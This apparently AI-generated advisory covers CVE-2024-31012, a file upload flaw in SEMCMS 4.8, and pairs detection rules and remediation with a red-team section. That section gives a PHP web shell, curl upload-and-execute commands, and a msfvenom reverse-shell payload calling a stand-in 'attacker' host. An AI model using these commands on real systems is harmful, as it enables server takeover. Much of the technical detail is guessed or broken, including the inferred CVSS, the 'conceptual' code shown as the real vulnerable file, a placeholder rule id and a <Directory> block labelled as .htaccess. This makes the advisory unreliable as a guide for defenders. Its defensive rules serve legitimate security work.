CVE-2024-31012

Executive Summary

CVE-2024-31012 is a critical security advisory affecting SEMCMS v.4.8, a PHP-based content management system. The vulnerability resides in the upload.php file, enabling remote attackers to execute arbitrary code, escalate privileges, and exfiltrate sensitive information. The vulnerability is classified as an unauthenticated remote code execution (RCE) flaw, likely stemming from insufficient input validation and insecure file upload handling. No official patch has been released, and the vendor's status remains unknown. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the public availability of proof-of-concept (PoC) code increases the risk for unpatched instances.

CVSS Breakdown & Threat Level

The CVSS vector is unknown, but based on the description, the vulnerability likely scores high (8.0-10.0) due to:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – unauthenticated access.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Unchanged (U) – vulnerability affects only the vulnerable component.
• Confidentiality (C): High (H) – sensitive data can be accessed.
• Integrity (I): High (H) – arbitrary code execution allows full system compromise.
• Availability (A): High (H) – potential for denial of service.

Threat Level: Critical. Immediate action is required for any exposed SEMCMS 4.8 instances.

Deep Dive & Mechanics

The vulnerability is located in upload.php, which handles file uploads without proper validation. The root cause is a lack of file type restrictions and insufficient sanitization of uploaded file names. An attacker can upload a malicious PHP file (e.g., a web shell) by manipulating the Content-Type header or file extension. Once uploaded, the file is accessible via the web root, allowing the attacker to execute arbitrary PHP code with the privileges of the web server user.

Attack Flow:

1. Reconnaissance: Identify SEMCMS 4.8 instances via Shodan dorks or Google dorks (e.g., inurl:"SEMCMS").
2. Upload: Send a crafted HTTP POST request to /upload.php with a PHP payload disguised as an image (e.g., shell.php.jpg).
3. Execution: Access the uploaded file via its URL (e.g., /uploads/shell.php.jpg), which executes the PHP code.
4. Privilege Escalation: Use the web shell to execute system commands, escalate to root (if misconfigured), and exfiltrate data.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the entire upload.php file in SEMCMS 4.8. A secure implementation would include:

• File type validation: Check MIME type and file extension against a whitelist (e.g., only images).
• File name sanitization: Remove dangerous characters and rename files to random strings.
• Directory restrictions: Store uploads outside the web root or use .htaccess to disable PHP execution in upload directories.

Vulnerable Code Snippet (Conceptual):

<?php
// upload.php - vulnerable
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
echo "File uploaded: " . $target_file;
?>

Patched Code Snippet (Conceptual):

<?php
// upload.php - patched
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
$target_dir = "uploads/";
$file_type = mime_content_type($_FILES["file"]["tmp_name"]);
if (!in_array($file_type, $allowed_types)) {
    die("Invalid file type.");
}
$new_name = uniqid() . "." . pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION);
$target_file = $target_dir . $new_name;
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
echo "File uploaded: " . $target_file;
?>

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install SEMCMS 4.8 on a local server (e.g., XAMPP, LAMP).
2. Ensure upload.php is accessible at http://localhost/SEMCMS/upload.php.

Exploitation Steps:

1. Create a PHP web shell (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

2. Upload the shell using curl:

   curl -F "file=@shell.php;filename=shell.php.jpg" http://target/SEMCMS/upload.php
   

3. Execute commands:

   curl http://target/SEMCMS/uploads/shell.php.jpg?cmd=id
   

Advanced Payload: Use a meterpreter payload for full control:

msfvenom -p php/meterpreter/reverse_tcp LHOST=attacker LPORT=4444 -o shell.php
curl -F "file=@shell.php;filename=shell.php.jpg" http://target/SEMCMS/upload.php

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /upload.php with suspicious file names (e.g., double extensions, PHP files).
• Alert on file uploads with MIME types not matching the extension.
• Use WAF rules to block uploads containing PHP code.

Hunting:

• Search web server logs for upload.php POST requests.
• Look for files in uploads/ directory with .php extension or suspicious content.
• Check for outbound connections from the web server to unknown IPs.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Files in uploads/ with double extensions (e.g., shell.php.jpg, cmd.php.png).
• Files containing PHP code in uploads/ directory.
• New files with recent timestamps in uploads/.

Network IOCs:

• HTTP POST requests to /upload.php with Content-Type: multipart/form-data.
• Outbound connections from the web server to attacker-controlled IPs on common ports (80, 443, 4444).
• Unusual User-Agent strings in upload requests.

Log IOCs:

• Web server logs showing POST /SEMCMS/upload.php with file names containing .php.
• Error logs showing PHP execution errors from uploads/ directory.

Detection Engineering

YARA Rule

rule semcms_upload_webshell {
    meta:
        description = "Detects PHP web shells uploaded via SEMCMS upload.php"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-31012"
    strings:
        $php_tag = "<?php"
        $system_func = /system\s*\(/
        $shell_func = /shell_exec\s*\(/
        $cmd_param = "cmd"
    condition:
        $php_tag and ($system_func or $shell_func or $cmd_param)
}

Sigma Rule

title: SEMCMS Upload.php Suspicious File Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to upload PHP files to SEMCMS upload.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/SEMCMS/upload.php'
        cs-uri-query: '*'
    condition: selection
falsepositives:
    - Legitimate file uploads (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"SEMCMS upload.php PHP file upload attempt"; flow:to_server,established; content:"POST"; http_method; content:"/SEMCMS/upload.php"; http_uri; content:".php"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable upload functionality: Remove or rename upload.php if not required.
2. Restrict access: Use .htaccess to block direct access to uploads/ directory:

   <Directory "/var/www/html/SEMCMS/uploads">
       Options -ExecCGI
       php_flag engine off
   </Directory>
   

3. Apply WAF rules: Block file uploads with PHP extensions or suspicious content.

Long-Term Fix:

• Migrate to a supported CMS or apply custom patches to upload.php (see patched code above).
• Implement file upload validation using a library like UploadHandler or Symfony HttpFoundation.
• Regularly audit web applications for insecure file uploads.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.